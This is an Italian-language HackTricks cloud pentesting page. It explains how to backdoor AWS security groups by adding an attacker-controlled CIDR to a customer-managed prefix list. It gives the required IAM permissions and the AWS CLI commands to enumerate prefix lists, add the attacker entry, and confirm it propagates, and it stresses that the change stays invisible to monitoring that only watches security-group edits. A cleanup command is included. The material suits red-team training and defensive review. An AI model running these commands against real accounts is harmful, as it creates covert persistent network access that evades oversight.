# AWS - Security Group Backdoor via Managed Prefix Lists

{{#include ../../../../banners/hacktricks-training.md}}

## Sommario
Abusa delle Prefix Lists gestite dal cliente per creare un percorso di accesso furtivo. Se una regola di security group (SG) fa riferimento a una managed Prefix List, chiunque abbia la capacità di modificare quella lista può aggiungere silenziosamente CIDRs controllati dall'attaccante. Ogni SG (e potenzialmente Network ACL o VPC endpoint) che fa riferimento alla lista consente immediatamente i nuovi range senza alcuna modifica visibile allo SG.

## Impatto
- Espansione istantanea degli intervalli IP consentiti per tutti gli SG che fanno riferimento alla prefix list, bypassando i controlli di modifica che monitorano solo le modifiche agli SG.
- Abilita backdoor persistenti ingress/egress: mantenere il CIDR malevolo nascosto nella prefix list mentre la regola SG appare invariata.

## Requisiti
- Permessi IAM:
- `ec2:DescribeManagedPrefixLists`
- `ec2:GetManagedPrefixListEntries`
- `ec2:ModifyManagedPrefixList`
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (per identificare gli SG collegati)
- Opzionale: `ec2:CreateManagedPrefixList` se si crea una nuova per il testing.
- Ambiente: almeno una regola SG che faccia riferimento alla Prefix List gestita dal cliente di destinazione.

## Variabili
```bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
```
## Passaggi dell'attacco

1) **Enumerare candidate prefix lists e consumers**
```bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
```
Usa `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` per confermare quali regole SG fanno riferimento alla lista.

2) **Aggiungi il CIDR dell'attaccante alla prefix list**
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
```
3) **Verificare la propagazione ai gruppi di sicurezza**
```bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
```
Il traffico da `$ENTRY_CIDR` è ora consentito ovunque venga fatto riferimento alla prefix list (comunemente regole outbound su proxy di uscita o regole inbound su servizi condivisi).

## Evidence
- `get-managed-prefix-list-entries` riflette il CIDR dell'attaccante e la descrizione.
- `describe-security-group-rules` mostra ancora la regola SG originale che fa riferimento alla prefix list (nessuna modifica della SG registrata), eppure il traffico dal nuovo CIDR ha successo.

## Cleanup
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
```
{{#include ../../../../banners/hacktricks-training.md}}
